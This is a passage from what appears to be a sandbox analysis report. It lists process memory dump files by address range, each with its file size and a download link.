                  Download

                • memory/4760-100-0x00007FF73E4E0000-0x00007FF73E91C000-memory.dmp

                  Filesize

                  4.2MB

                  Download

                • memory/4792-45-0x0000000005090000-0x00000000050A0000-memory.dmp

                  Filesize

                  64KB

                  Download

                • memory/4792-43-0x0000000004E00000-0x0000000004E9C000-memory.dmp

                  Filesize

                  624KB

                  Download

                • memory/4792-70-0x0000000073C00000-0x00000000743B0000-memory.dmp

                  Filesize

                  7.7MB

                  Download

                • memory/4792-46-0x0000000006A60000-0x0000000007004000-memory.dmp

                  Filesize

                  5.6MB

                  Download

                • memory/4792-42-0x0000000073C00000-0x00000000743B0000-memory.dmp

                  Filesize

                  7.7MB

                  Download

                • memory/4792-41-0x00000000004F0000-0x0000000000572000-memory.dmp

                  Filesize

                  520KB

                  Download

                • memory/4792-44-0x0000000004EA0000-0x0000000004F32000-memory.dmp

                  Filesize

                  584KB

                  Download

                • memory/4908-63-0x0000000073C00000-0x00000000743B0000-memory.dmp

                  Filesize

                  7.7MB

                  Download

                • memory/4908-173-0x0000000073C00000-0x00000000743B0000-memory.dmp

                  Filesize

                  7.7MB

                  Download

                • memory/4908-64-0x0000000002E70000-0x0000000002E80000-memory.dmp

                  Filesize

                  64KB

                  Download

                • memory/4908-65-0x0000000002E70000-0x0000000002E80000-memory.dmp

                  Filesize

                  64KB

                  Download

                • memory/4908-62-0x0000000002E80000-0x0000000002EB6000-memory.dmp

                  Filesize

                  216KB

                  Download

                • memory/4908-120-0x000000007F240000-0x000000007F250000-memory.dmp

                  Filesize

                  64KB

                  Download

                • memory/4908-130-0x0000000002E70000-0x0000000002E80000-memory.dmp

                  Filesize

                  64KB

                  Download

                • memory/4908-167-0x0000000007A60000-0x0000000007A68000-memory.dmp

                  Filesize

                  32KB

                  Download

                • memory/4908-72-0x0000000005B80000-0x0000000005BA2000-memory.dmp

                  Filesize

                  136KB

                  Download

                • memory/4908-117-0x000000006FF80000-0x000000006FFCC000-memory.dmp

                  Filesize

                  304KB

                  Download

                • memory/4908-165-0x0000000007980000-0x0000000007994000-memory.dmp

                  Filesize

                  80KB

                  Download

                • memory/4908-67-0x0000000005520000-0x0000000005B48000-memory.dmp

                  Filesize

                  6.2MB

                  Download

                • memory/5224-234-0x0000013AC0B20000-0x0000013AC0B40000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/5224-237-0x0000013AC07E0000-0x0000013AC0800000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/5224-240-0x0000013AC0F30000-0x0000013AC0F50000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/5672-201-0x00000000057B0000-0x00000000057C0000-memory.dmp

                  Filesize

                  64KB

                  Download

                • memory/5672-269-0x0000000073C00000-0x00000000743B0000-memory.dmp

                  Filesize

                  7.7MB

                  Download

                • memory/5672-270-0x00000000057B0000-0x00000000057C0000-memory.dmp

                  Filesize

                  64KB

                  Download

                • memory/5672-179-0x0000000073C00000-0x00000000743B0000-memory.dmp

                  Filesize

                  7.7MB

                  Download

                • memory/5708-255-0x0000027279100000-0x0000027279120000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/5708-257-0x0000027278DB0000-0x0000027278DD0000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/5708-259-0x00000272794C0000-0x00000272794E0000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/5772-192-0x000001DF0FB40000-0x000001DF0FB60000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/5772-189-0x000001DF0F730000-0x000001DF0F750000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/5772-187-0x000001DF0F770000-0x000001DF0F790000-memory.dmp

                  Filesize

                  128KB

                  Download